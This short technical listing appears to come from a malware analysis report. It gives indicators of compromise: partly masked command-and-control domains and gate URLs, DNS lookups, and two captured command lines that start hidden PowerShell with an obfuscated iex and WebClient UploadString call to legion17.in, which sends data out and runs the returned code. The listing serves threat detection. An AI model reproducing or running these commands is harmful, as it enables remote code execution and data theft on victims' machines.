Technical Information
- 'le##on17.in':80
- http://cl####pdate1.club/evreigate.php
- http://cl####pdate1.club/tgate.php?a=###############
- http://le##on17.in/legion17/welcome
- DNS ASK drive.google.com
- DNS ASK do#########ocs.googleusercontent.com
- DNS ASK cl####pdate1.club
- DNS ASK le##on17.in
- '%WINDIR%\syswow64\cmd.exe' /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex####@(n#ew###-#ob#jec#t N#######et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.in/leg#ion1#7#/#w#el#co#me''#,#...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -command "&{$t='#i#ex####@(n#ew###-#ob#jec#t N#######et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.in/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i...